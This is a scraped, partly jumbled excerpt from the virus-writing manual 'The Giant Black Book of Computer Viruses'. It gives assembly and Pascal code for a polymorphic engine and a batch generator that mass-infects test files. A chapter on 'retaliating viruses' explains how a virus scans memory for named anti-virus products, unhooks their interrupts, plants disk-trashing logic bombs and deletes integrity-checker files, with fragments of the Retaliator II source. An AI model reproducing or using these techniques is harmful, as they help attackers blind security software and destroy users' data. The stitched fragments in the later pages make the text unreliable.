the giant black book of computer viruses phần 8 pot

;Create a pseudo-random number and put it in ax. GET_RANDOM PROC NEAR push bx push cx push dx call GR1 GR1: pop bx sub bx,OFFSET GR1 mov eax,[bx][RAND_SEED] mov ecx,[bx][A] ;multiply mul ecx add eax,[bx][C] ;add adc edx,0 mov ecx,[bx][M] div ecx ;divide mov eax,edx ;remainder in ax mov [bx][RAND_SEED],eax ;and save for next round pop dx pop cx pop bx retn GET_RANDOM ENDP END Testing the Many Hoops If you want to generate 10,000 instances of an infection with the Many Hoops for testing purposes, the following Turbo Pascal program will create a batch file, GEN10000.BAT, to do the job. Watch out, though, putting 10,000 files in one directory will slow your machine down incredibly. (You may want to modify it to generate only 1,000 files instead.) To use the batch file, you’ll need TEST.COM and MANYHOOP.COM in a directory along with GEN10000.BAT, along with at least 25 megabytes of disk space. Installing SMARTDRV will save lots of time. GEN10000.PAS is as follows: program gen_10000; {Generate batch file to create 10000 hosts and infect them} var s,n:string; bf:text; j:word; begin assign(bf,’gen10000.bat’); rewrite(bf); writeln(bf,’md 10000’); writeln(bf,’cd 10000’); for j:=1 to 10000 do begin str(j,n); while length(n)<5 do n:=’0’+n; writeln(bf,’copy \test.com ’,n,’.com’); end; writeln(bf,’md inf’); writeln(bf,’ \manyhoop’); for j:=2 to 10000 do begin str(j-1,n); while length(n)<5 do n:=’0’+n; writeln(bf,n); writeln(bf,’copy ’,n,’.com inf’); writeln(bf,’del ’,n,’.com’); end; writeln(bf,’copy 10000.com inf’); writeln(bf,’del 10000.com’); close(bf); end. And the TEST.ASM file looks like this: .model tiny .code ;****************************************************************************** ;The host program starts here. This one is a dummy that just returns control ;to DOS. ORG 100H HOST: db 100 dup (90H) mov ax,4C00H ;Terminate, error code = 0 int 21H HOST_END: END HOST Exercises 1. Add one new class 3 instruction, which modifies one register, to the RAND_INSTR routine. 2. Add one new class 4 instruction, which modifies two registers, to the RAND_INSTR routine. 3. Add memory-based polymorphism to a memory resident virus which hooks Interrupt 21H. 4. Build a code generator to code the second main decryption routine in the VME. 5. Add more multiple instructions to RAND_INSTR, with recursive calls between each instruction. If you add too many recursive calls, the possibility that you could get stuck in a loop and blow up the stack becomes significant, so you should probably add a global variable to limit the maximum depth of recursion. Retaliating Viruses Viruses do not have to simply be unwilling victims of anti- virus software, like cattle going off to slaughter. They can and do retaliate against the software which detects and obliterates them in a variety of ways. As we’ve discussed, scanners detect viruses before they are executed, whereas programs like behavior checkers and integrity checkers catch viruses while they are executing or after they have executed at least once. The idea behind a retaliating virus is to make it dangerous to execute even once. Once executed, it may turn the anti-virus program itself into a dangerous trojan, or it may fool it into thinking it’s not there. We’ve already discussed stealth techniques—how viruses fool anti-virus programs into believing they’re not there by hiding in memory and reporting misinformation back on system calls, etc. In this chapter, we’ll discuss some more aggressive techniques which viruses generally use to target certain popular anti-virus software. Generally I classify retaliating software as anything which attempts to permanently modify various components of anti-virus software, or which causes damage when attempts are made to disinfect programs. Retaliating Against Behavior Checkers Behavior checkers are especially vulnerable to retaliating vi- ruses because they are normally memory resident programs. Typi- cally, such programs hook interrupts 21H and 13H, among others, and monitor them for suspicious activity. They can then warn the user that something dangerous is taking place and allow the user to short-circuit the operation. Suspicious activity includes attempts to overwrite the boot sector, modify executable files, or terminate and stay resident. The real shortcoming of such memory-resident anti-viral pro- grams is simply that they are memory resident—sitting right there in RAM. And just as virus scanners typically search for viruses which have gone memory-resident, a virus could search for anti- virus programs which have gone memory-resident. There are only a relatively few memory-resident anti-virus programs on the mar- ket, so scanning for them is a viable option. Finding scan strings for anti-virus programs is easy. Just load the program into memory and use MAPMEM or some similar program to find one in memory and learn what interrupts are hooked. Then use DEBUG to look through the code and find a suitable string of 10 or 20 bytes. Incorporate this string into a memory search routine in the virus, and it can quickly and easily find the anti-virus program in memory. The process can be sped up considerably if you write a fairly smart search routine. Using such techniques, memory can be scanned for the most popular memory- resident anti-viral software very quickly. If need be, even expanded or extended memory could be searched. Once the anti-virus has been found, a number of options are available to the virus. Silence A virus may simply go dormant when it’s found hostile soft- ware. The virus will then stop replicating as long as the anti-virus routine is in memory watching it. Yet if the owner of the program turns his virus protection off, or passes the program along to anyone else, the virus will reactivate. In this way, someone using anti-viral software becomes a carrier who spreads a virus while his own computer has no symptoms. Logic Bombs Alternatively, the virus could simply trigger a logic bomb when it detects the anti-virus routine, and trash the hard disk, CMOS, or what have you. Such a logic bomb would have to be careful about using DOS or BIOS interrupts to do its dirty work, as they may be hooked by the anti-viral software. The best way to retaliate is to spend some time dissecting the anti-virus software so that the interrupts can be un-hooked. Once un-hooked, they can be used freely without fear of being trapped. Finally, the virus could play a more insidious trick. Suppose an anti-virus program had hooked interrupt 13H. If the virus scanned and found the scan string in memory, it could also locate the interrupt 13H handler, even if layered in among several other TSR’s. Then, rather than reproducing, the virus could replace that handler with something else in memory, so that the anti-virus program itself would damage the hard disk. For example, one could easily write an interrupt 13H handler which waited 15 minutes, or an hour, and then incremented the cylinder number on every fifth write. This would make a horrible mess of the hard disk pretty quickly, and it would be real tough to figure out why it happened. Anyone checking it out would probably tend to blame the anti-viral software. Dis-Installation A variation on putting nasties in the anti-virus’ interrupt hooks is to simply go around them, effectively uninstalling the anti-virus program. Find the original vector which they hooked, and replace the hook with a simple jmp DWORD PTR cs:[OLD_VEC] and the anti-virus will sit there in memory happily reporting that everything is fine while the virus goes about its business. Finding where OLD_VEC is located in the anti-virus is usually an easy task. Using DEBUG, you can look at the vector before the anti-virus is installed. Then install it, and look for this value in the anti-virus’ segment. (See Figure 25.1) Of course, mixtures of these methods are also possible. For example, a virus could remain quiet until a certain date, and then launch a destructive attack. An Example The virus we’ll examine in this chapter, Retaliator II, picks on a couple popular anti-virus products. It is a simple non-resident appending EXE infector which does not jump directories—very similar to Intruder B. Retaliator II scans for the VSAFE program distributed by Microsoft with DOS 6.2, and Flu Shot + Version 1.84. These programs hook a number of interrupts and alert the user to attempts to change files, etc. (Turn option 8, executable file protection, on for VSAFE.) Retaliator II easily detects the programs in memory and does one of two things. Fifteen out of sixteen times, Retaliator II simply unhooks Interrupts 21H and 13H and goes on its way. Once unhooked, the anti-viruses can no longer see the virus chang- C808:0517 19A0:095D 17 05 08 C8 ing files. However, Retaliator II also has a one in sixteen chance of jumping to a routine which announces “Retaliator has detected ANTI-VIRUS software. TRASHING HARD DISK!” and pro- ceeds to simulate the disk activity one might expect when a hard disk is being systematically wiped out. This trashing is only a simulation though. No damage is actually being done. The disk is only being read. Integrity Checkers Designing a virus which can retaliate against integrity checkers is a bit more complicated, since they don’t reside in memory. It usually isn’t feasible to scan an entire hard disk for an integrity checker from within a virus. The amount of time and disk activity it would take would be a sure cue to the user that something funny was going on. Since the virus should remain as unnoticeable as possible—unless it gets caught—another method of dealing with integrity checkers is desirable. If, however, sneaking past a certain integrity checker is a must, a scan is necessary. To shorten the scan time, it is advisable that one start the scan by looking in its default install location. Alternatively, one might just look in its default location. That doesn’t take much time at all. Although such a technique is obvi- ously not fool proof, most users (stupidly) never think to change even the default directory in the install sequence. Such a default search could be relatively fast, and it would allow the virus to knock out the anti-virus the first time it gained control. Another method to detect the presence of an integrity checker is to look for tell-tale signs of its activity. For example, Microsoft’s VSAFE, Microsoft’s program leaves little CHKLIST.MS files in every directory it touches. These contain integrity data on the files in that directory. Many integrity checkers do this. For example, Central Point Anti-Virus leaves CHKLIST.CPS files, Integrity Master leaves files named ZZ##.IM, Thunderbyte leaves files named ANTI-VIR.DAT. McAfee’s SCAN program appends data to EXE’s with integrity information. If any of these things are found, it’s a sure clue that one of these programs is in operation on that computer. Security Holes Some of these integrity checkers have gaping security holes which can be exploited by a virus. For example, guess what VSAFE does if something deletes the CHKLIST.MS file? It simply rebuilds it. That means a virus can delete this file, infect all the files in a directory, and then sit back and allow VSAFE to rebuild it, and in the process incorporate the integrity information from the infected files back into the CHKLIST.MS file. The user never sees any of these adjustments. VSAFE never warns him that something was missing. (Note that this works with Central Point Anti-Virus too, since Microsoft just bought CPAV for DOS.) Some of the better integrity checkers will at least alert you that a file is missing, but if it is, what are you going to do? You’ve got 50 EXEs in the directory where the file is missing, and you don’t have integrity data for any of them anymore. You scan them, sure, but the scanner turns up nothing. Why was the file missing? Are any of the programs in that directory now infected? It can be real hard to say. So most users just tell the integrity checker to rebuild the file and then they go about their business. The integrity checker may as well have done it behind their back without saying anything, for all the good it does. So by all means, a virus should delete these files if it intends to infect files in a directory that contains them. Alternatively, a smart virus could update the files itself to reflect the changes it made. Deciphering that file, however, could be a lot of work. The Retaliator II chooses to delete them with the DEL_AV_FILES routine. (Such a virus might actually be considered beneficial by some people. If you’ve ever tried to get rid of a program that leaves little files in every directory on your disk, you know it’s a real pain!) With measures like what SCAN uses, the data which the program attaches to EXEs can be un-done without too much work. All one has to do is calculate the size of the file from the EXE header, rather than from the file system, and use that to add the virus to the file. An alternative would be to simply be quiet and refuse to infect such files. Retaliator II does no such thing. As it turns out, McAfee’s SCAN Version 2.23e is so stupid it doesn’t even notice the changes made to these programs by Retaliator II in its normal course of infection. Logic Bombs If a virus finds an anti-virus program like an integrity checker on disk, it might go and modify that integrity checker. At a low level, it might simply overwrite the main program file with a logic bomb. The next time the user executes the integrity checker . . . whammo! his entire disk is rendered useless. Viruses like the Cornucopia use this approach. A more sophisticated way of dealing with it might be to disassemble it and modify a few key parts, for example the call to the routine that actually does the integrity check. Then the integrity checker would always report back that everything is OK with everything. That could go on for a while before a sleepy user got suspicious. Of course, you have to test such selective changes carefully, because many of these products contain some self-checks to dissuade you from making such modifications. Viral Infection Integrity Checking Any scanning methods or looking for auxiliary files or code are unreliable for finding an integrity checker, though. Properly done, an integrity checker will be executed from a write-protected floppy and it will store all its data on a floppy too, so a virus will not normally even have access to it. Thus, though scanning will help defuse some integrity check- ers, it still needs a backup. Apart from scanning, a virus could check for changes it has made to other executables and take action in the event that such changes get cleaned up. Of course, such an approach means that the virus must gain control of the CPU, make some changes, and release control of the CPU again. Only once it gains control a second time can it check to see if those changes are still on the system. This is just taking the concept of integrity checking and turning it back around on the anti-virus: a virus checking the integrity of the infections it makes. Obviously, there is a certain amount of risk in any such opera- tion. In between the first and second executions of the virus, the anti-viral software could detect the change which the virus made, and track down the virus and remove it. Then there would be no second execution in which the virus gains control, notices its efforts have been thwarted, and then retaliates. If, however, we assume that the virus has successfully deter- mined that there is no dangerous memory-resident software in place, then it can go out and modify files without fear of being caught in the act. The most dangerous situation that such a virus could find itself in would be if an integrity shell checked the checksum of every executable on a disk both before and after a program was executed. Then it could pinpoint the exact time of infection, and nail the program which last executed. This is just not practical for most users, though, because it takes too long. Also, it means that the integrity checker and its integrity information are on the disk and presumably available to the virus to modify in other ways, and the integrity checker itself is in memory—the most vulnerable place of all. Nothing to worry about for the virus that knows about it. Normally, though, an integrity checker is an occa- sional affair. You run it once in a while, or you run it automatically from time to time. So your integrity checker has just located an EXE file that has changed. Now what? Disassemble it and find out what’s going on? Not likely. Of course you can delete it or replace it with the original from your distribution disks. But with a retaliating virus you must find the source of the infection immediately. If you have a smart enough scanner that came with your integrity shell, you might be able to create an impromptu scan string and track down the source. Of course, if the virus is polymorphic, that may be quite impossible. However, if anything less than a complete clean-up occurs at this stage, one must live with the idea that this virus will execute again, sooner or later. If the virus you’re dealing with is a smart, retaliating virus, this is an ominous possibility. There is no reason that a virus could not hide a list of infected files somewhere on a disk, and check that list when it is executed. Are the files which were infected still infected? No? Something’s messing with the virus! Take action! Alternatively, the virus could leave a portion of code in mem- ory which just sits there guarding a newly infected file. If anything attempts to modify or delete the file, this sentry goes into action, causing whatever damage it wants to. And the virus is still hiding in your backup. This is turning the idea of a behavior checker back on the anti-virus software. [...]... pass control to the decryption routine These instructions can be generated by the main body of the virus, rather than the polymorphic engine, and they do a good job of hiding the 490 The Giant Black Book of Computer Viruses polymorphic engine’s code, because the code analyzer sees these instructions and can’t categorize them as derived from the engine, and it therefore decides that the engine couldn’t... VME-based viruses It is conceivable that the relatively simple techniques of looking for the presence or absence of code may fail Then other, more sophisticated spectral analysis is necessary For example, one can look at the relationship between instructions to see if they represent “normal” code or something unusual For example, the instructions push mov bp bp,sp 492 The Giant Black Book of Computer Viruses. .. possible state of the CPU is represented by a point, or an element of a set There are a finite number of such points, so we can number them 1, 2, 3, etc Then, a computer program might be represented as a series of points, or numbers Spectral analysis is the study of the frequency of occurence and inter-relationship of such numbers For example, the number associated with xor [si+7699H],ax, when si=9E80H, would... are read and written by the program If the program sequentially modifies a series of bytes by reading them and then writing them back, then we can raise the flag that the code is self-modifying The array modified in FINDVME is designed for the purpose of tracking code modifications Typical instructions used to modify code are things like mov al,[si] [88 04] and mov [si],al [8A 04] If we weren’t interested... files Of course, one would have to be careful not to implement a trace-back feature into the checking scheme, which would reveal the original source of the infection Defense Against Retaliating Viruses In conclusion, viruses which retaliate against anti-viral software are rather easy to create They have the potential to lie dormant for long periods of time, or turn into devastating logic bombs The only... giving them control of the CPU Such a virus, if it gains control of the CPU even once, could be setting you up for big problems The only way to defend against this class of viruses is to make sure they never execute That simply requires a scanner Retaliator II is by no means the most sophisticated or creative example of such a virus It is only a simple, demonstrable example of what can be done 476 The Giant. .. var 484 The Giant Black Book of Computer Viruses r:registers; buf:array[0 511] of byte; c:char; j:word; begin r.ax:=$0201; {Read Cyl 0, Hd 0, Sec 2} r.cx:=2; r.dx:= $80 ; r.bx:=ofs(buf); r.es:=seg(buf); intr($13,r); write(buf[0],’ ’,buf[1],’:’); {display it} j:=2; while buf[j]0 do begin write(char(buf[j])); j:=j+1; end; writeln; write(’Do you want to erase the sector? ’); if UpCase(ReadKey)=’Y’ then...Retaliating Viruses 475 Although these scenarios are not very pretty, and we’d rather not talk about them, any of them are rather easy to implement The Retaliator II virus, for example, maintains a simple record of the last file infected in Cylinder 0, Head 0, Sector 2 on the C: drive This sector, which resides right after the master boot sector, is normally not used, so the virus is fairly... ;************************************************************************** ;This routine scans the RAM for anti-viral programs The scan strings are ;set up below It allows multiple scan strings of varying length They must ;be located at a specific offset with respect to a segment, which is detailed ;in the scan string data record This routine scans all of memory, from ;the top of the interrupt vector table to the bottom of the BIOS ROM at F000 ;As such it can... ;return with nz - no matches of any strings ;The scan string data structure looks like this: ; DB LENGTH = A single byte string length ; DW OFFSET = Offset of av’s INT 21H handler ; DW OFFSET = Offset where original INT 21H vector is located ; DW OFFSET = Offset of av’s INT 13H handler ; DW OFFSET = Offset where original INT 13H vector is located ; DB X,X,X = LENGTH bytes of av’s INT 21H handler ; (add . executions of the virus, the anti-viral software could detect the change which the virus made, and track down the virus and remove it. Then there would be no second execution in which the virus gains. way. Once unhooked, the anti -viruses can no longer see the virus chang- C8 08: 0517 19A0:095D 17 05 08 C8 ing files. However, Retaliator II also has a one in sixteen chance of jumping to a routine. directory where the file is missing, and you don’t have integrity data for any of them anymore. You scan them, sure, but the scanner turns up nothing. Why was the file missing? Are any of the programs